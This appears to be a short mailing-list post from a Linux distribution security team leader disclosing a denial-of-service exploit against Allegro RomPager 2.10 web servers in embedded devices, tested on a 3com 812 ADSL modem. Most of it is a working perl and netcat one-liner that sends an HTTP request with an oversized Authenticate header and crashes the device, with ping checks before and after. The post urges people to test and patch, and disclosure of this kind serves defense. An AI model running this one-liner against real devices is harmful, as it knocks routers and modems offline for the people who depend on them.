The description made it easy to create this one. Needed this to confirm if some 2.10-branded products were in fact patched and warranted replacing. Considering there was four years of warning and there are still tons of boxes with this problem, please, people, get your systems pen-tested. http://www.securityfocus.com/bid/1290/discussion/ http://www.securityfocus.com/bid/1290/exploit/ (none yet) http://www.allegrosoft.com/rpproduct.html $ ip_address="some.ip.add.ress" $ ping $ip_address # works the one-liner: $ perl -e 'print "GET / HTTP/1.1\r\nHost: '"$ip_address"'\r\nAuthenticate: " . 'A' x 1024 . "\r\n\r\n"' | nc "$ip_address" 80 $ ping $ip_address # doesn't work Tested against a 3com 812 adsl modem. This email is in the Public Domain. -- Seth Alan Woolley [seth at positivism.org], SPAM/UCE is unauthorized Key id EF10E21A = 36AD 8A92 8499 8439 E6A8 3724 D437 AF5D EF10 E21A http://smgl.positivism.org:11371/pks/lookup?op=get&search=0xEF10E21A Security Team Leader Source Mage GNU/Linux http://www.sourcemage.org